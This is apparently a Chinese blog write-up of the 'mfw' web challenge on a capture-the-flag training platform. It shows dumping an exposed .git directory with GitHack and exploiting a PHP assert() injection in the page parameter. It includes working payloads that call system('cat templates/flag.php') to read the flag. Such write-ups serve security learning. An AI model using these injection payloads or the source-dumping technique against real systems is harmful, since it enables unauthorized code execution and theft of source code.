攻防世界26-mfw-CTFWeb
攻防世界26-mfw-CTFWeb
本文参考:
WEB安全-常见源码泄露 | wh1te (lddp.github.io)
首先瞎点发现,可能存在git源码泄露问题,尝试.git访问,源码中也有按时page=flag,但访问无果
[My PHP Website](http://xx:xxx/.git)
下载工具githack,可以把整个.git 备份的文件下载下
在目录下打开cmd python GitHack.py http://61.147.171.105:64160/.git/
下载源码,审计源码(templates下的flag文件的flag被注释了)
1 |
|
assert函数:
assert ( mixed $assertion [, string $description ] ) : bool
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动
or
操作符:如果assert(abc)
结果为false
,PHP 会继续执行or
右侧的de
。
比如输入的包含..,那就是flase==false,就是true,不执行后面的代码
代码中过滤了..
看看assert上能不能操作
尝试一下
?page=aa') or phpinfo();//
也就是
1 | assert("strpos('templates/aa') or phpinfo();//.php', '..') === false") |
我们从源码得知,肯定没有aa这个文件,因此它会执行or函数后面的phpinfo,再把//后面的.php注释掉
http://61.147.171.105:64160/?page=aa') or system('cat templates/flag.php');//
可以执行,看源码
1 | payload: ?page=').system("cat templates/flag.php");// |
这样好像也行,时链式执行
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Matriy's blog!
评论